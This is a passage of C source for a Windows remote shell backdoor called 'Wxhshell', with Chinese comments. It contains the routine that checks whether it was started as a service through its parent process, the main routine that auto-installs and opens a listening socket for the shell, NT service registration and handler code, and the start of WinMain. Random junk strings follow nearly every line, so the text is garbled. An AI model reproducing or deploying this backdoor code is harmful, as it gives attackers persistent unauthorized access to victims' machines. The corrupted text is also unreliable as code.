DWORD AffinityMask; qtwT#z;Y
DWORD BasePriority; ;[OJ-|Q
ULONG UniqueProcessId; @maZlw1q
ULONG InheritedFromUniqueProcessId; p[@oF5M
} PROCESS_BASIC_INFORMATION; _KM $u>B8
hKH$AEHEU}
PROCNTQSIP NtQueryInformationProcess; gKs/T'PW
Q 9gFTLQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (:y,CsR}4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4j@kMe;RjZ
ySuLt@X
HANDLE hProcess; zA'gb'MmW
PROCESS_BASIC_INFORMATION pbi; -0KbdHIKb'
[zh4W*K_cq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -M1~iOb
if(NULL == hInst ) return 0; c6Yf"~TD0
csFJ5
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WJY4>7}{B@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N+C)/EN$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \o62OfF!
FU(}=5n
if (!NtQueryInformationProcess) return 0; .,ppGc|*
"doU.U&u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o! 2n}C
if(!hProcess) return 0; 3!"b
guE
m[@%{
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +Jo 3rX'`
Vyq#p9Q
CloseHandle(hProcess); hP4)8 >
rAlh&
?X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {7K'<ti
if(hProcess==NULL) return 0; Wlr&g
xZ
h=K36a)
HMODULE hMod; e\^g|60f_
char procName[255]; w]W`R.
unsigned long cbNeeded; [V2omSZo
~E<PtDab
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GTp?)nh^
^EC)~HP@C
CloseHandle(hProcess); co$Hi9JE
z|G|Y 22
if(strstr(procName,"services")) return 1; // 以服务启动 jHu,u|e0>S
E~<(i':
return 0; // 注册表启动 &Hlm{FHU
} 7z/(V\9B
+(=0CA0GE
// 主模块 +3/k/W
int StartWxhshell(LPSTR lpCmdLine) *w'q
{ Q3NPwM
SOCKET wsl; DnG/ n
BOOL val=TRUE; &O+sK4P
int port=0; }&Wp3EWw
struct sockaddr_in door; |8DH4*y!
Z^'?|qFj!
if(wscfg.ws_autoins) Install(); )KaLSL>
wVvqw/j*f
port=atoi(lpCmdLine); P7'oXtW{o
k9^+9P^L
if(port<=0) port=wscfg.ws_port; _C< 6349w
QD.zU/F~>
WSADATA data; {[M0y*^64$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '!j #X_;
.%x"t>]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?qd,>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i\kTm?BQZ
door.sin_family = AF_INET; F,p`-m[q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); DEUd[
door.sin_port = htons(port); wMH[QYb<*
S s@u,`pr
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xmap9x
closesocket(wsl); Q vv\+Jp^
return 1; Q(~3pt
} @9}),hl`
krQl^~@
if(listen(wsl,2) == INVALID_SOCKET) { F\-B3i%0
closesocket(wsl); Je#!Wd
return 1; ~_DF06G
} NLcO{
Wxhshell(wsl); 54
M!Fq-
WSACleanup(); g9yaNelDh)
0[n c7)sW
return 0; JCcN>DtP
2-vJv+-
} ~t'#n V
$$haVY&
// 以NT服务方式启动 -M7K8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `ir&]jh.A
{ L#
`lQ"`K
DWORD status = 0; {l&Ltruhz
DWORD specificError = 0xfffffff; l^DINZU@
>.DF"]XM
serviceStatus.dwServiceType = SERVICE_WIN32; +R|U4`12
serviceStatus.dwCurrentState = SERVICE_START_PENDING; k1ipvKxp:8
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l,*yEkU
serviceStatus.dwWin32ExitCode = 0; JP{UgcaF
serviceStatus.dwServiceSpecificExitCode = 0; 5SoZ$,a<e
serviceStatus.dwCheckPoint = 0; NoFs-GGGh
serviceStatus.dwWaitHint = 0; SQq6X63 \
1^Kj8*O8e
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yw6DJY
if (hServiceStatusHandle==0) return; 6B7<
Uby,Tu
status = GetLastError(); <U@P=G<t
if (status!=NO_ERROR) $7Jfb<y
{ nkCecwzr-
serviceStatus.dwCurrentState = SERVICE_STOPPED; *ZGX-+{
serviceStatus.dwCheckPoint = 0; ,\BVV,
serviceStatus.dwWaitHint = 0; cU7rq j_
serviceStatus.dwWin32ExitCode = status; Yta1`
serviceStatus.dwServiceSpecificExitCode = specificError; 5;X {.2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c u\ls^
return; Cw
1 9y
} ~R :<Bw
7IA3q{P
serviceStatus.dwCurrentState = SERVICE_RUNNING; V -q%r
serviceStatus.dwCheckPoint = 0; E|pk.
serviceStatus.dwWaitHint = 0; 3^!Hl8P7
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q Oz9\,C
} 6exRS]BI
oS~}TR:}
// 处理NT服务事件,比如:启动、停止 C@*%AY
VOID WINAPI NTServiceHandler(DWORD fdwControl) w+q?T
{ %oAL
switch(fdwControl) g(mxhD!k
{ zL9VR;q
case SERVICE_CONTROL_STOP: ~}h^38
serviceStatus.dwWin32ExitCode = 0; ,5/V@;i
serviceStatus.dwCurrentState = SERVICE_STOPPED; q.-y)C) ;
serviceStatus.dwCheckPoint = 0; _e6a8
serviceStatus.dwWaitHint = 0; ?Q@L-H`
{ `'uUmyg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D,MyI#
} Ej'
7h~ =v
return; *Wzwbwg
case SERVICE_CONTROL_PAUSE: h2"9"*S1
serviceStatus.dwCurrentState = SERVICE_PAUSED; -g:lOht
break; 'nMApPl
case SERVICE_CONTROL_CONTINUE: A^pu
serviceStatus.dwCurrentState = SERVICE_RUNNING; p?;-!TUv
break; zu52 p4
case SERVICE_CONTROL_INTERROGATE: CE{z-_{^
break; D,k(~
}; 5 d+<EF+N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4_tR9 w"
} g]za"U|g
:v`o6x8
// 标准应用程序主函数 K>kLUcC7Z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _WKJ<dB<
{ !/947Rn
[#0Yt/G
// 获取操作系统版本 C*7!dW6
OsIsNt=GetOsVer(); wa" uFW
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y[Es
-&im